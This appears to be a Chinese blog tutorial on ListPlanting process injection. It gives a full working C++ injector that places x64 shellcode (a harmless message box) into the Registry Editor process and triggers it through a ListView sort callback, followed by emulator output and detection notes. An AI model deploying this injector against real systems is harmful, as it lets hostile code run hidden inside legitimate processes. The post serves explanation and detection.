进程注入之ListPlanting——滥用listview控件的消息回调函数

发布时间 2023-09-20 18:20:06作者: bonelee

效果:注入代码到“注册表编辑器”(当然,必须是要有listview这种列表显示才可以执行)

 

 

Process Injection: ListPlanting 

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.[1] Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.[2] Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other Process Injection methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.[3]

Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.

 

原理其实很简单:如下就是自定义一个回调函数

编辑控件是一种用户界面元素,允许用户在图形用户界面 (GUI) 中输入和编辑文本。它们通常用于 Windows 应用程序,可以直接嵌入到 GUI 中或子类化为单独的窗口。

ListView 控件(用于显示项目列表的常见 GUI 元素)也可以使用某些消息进行自定义。LVM_SORTGROUPS 消息允许用户指定用于对 ListView 控件中的组进行排序的回调函数。LVM_INSERTGROUPSORTED 消息将新组插入到 ListView 控件中,使用 LVM_SORTGROUPS 消息中指定的回调函数来确定新组的正确位置。LVM_SORTITEMS 消息允许用户指定用于对 ListView 控件中的项目进行排序的回调函数。使用这些消息和回调函数,可以自定义 ListView 控件中项目和组的排序,以满足“恶意代码执行”需求。

 

之前示例的代码如下:

/*
hack.cpp
code injection Listplanting
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html
*/
#include <windows.h>
#include <commctrl.h>
#include <iostream>
#pragma comment (lib, "user32.lib")

unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {
	HANDLE ph;
	DWORD pid;
	LPVOID mem;

	// find window
	// HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
	HWND wpw = FindWindow(NULL, (LPCSTR)"注册表编辑器");
	HWND hw = FindWindowEx(wpw, 0, (LPCSTR)"SysListView32", 0);

	// obtain the process id and try to open process
	GetWindowThreadProcessId(hw, &pid);
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	// allocate RWX memory
	mem = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// copy payload
	WriteProcessMemory(ph, mem, my_payload, sizeof(my_payload), NULL);

	// trigger payload
	PostMessage(hw, LVM_SORTITEMS, 0, (LPARAM)mem);

	// free memory
	VirtualFreeEx(ph, mem, 0, MEM_DECOMMIT | MEM_RELEASE);
	CloseHandle(ph);

	return 0;
}

  

那一段shellcode就是弹出messagebox!为了看出该shellcode的作用,使用speakeasy 模拟下shellcode的执行(https://github.com/mandiant/speakeasy):

speakeasy -t output.bin  -r -a x64
* exec: shellcode
0x1100: 'user32.MessageBoxA(0x0, "Meow-meow!", "=^..^=", 0x0)' -> 0x2
0x110d: 'kernel32.GetVersion()' -> 0x1db10106
* Child process timeout reached after 60 seconds
* Timeout of 60 sec(s) reached.
* Finished emulating

  

检测思路:

监视指示各种类型代码注入的 Windows API 调用可能会生成大量数据,并且可能无法直接用于防御,除非在特定情况下收集已知的不良调用序列,因为良性使用 API 函数可能很常见且很困难以区别于恶意行为。Windows API 调用(例如FindWindowFindWindowExEnumWindowsEnumChildWindows)以及可用于修改另一个进程内的内存的调用(例如VirtualAllocExWriteProcessMemory),带有SendMessage和/或参数的和/或PostMessageAPI 函数,参数是LVM_SETITEMPOSITIONLVM_GETITEMPOSITION 

 

但是很容易误报!加之使用局限性很大,所以做起来性价比很低!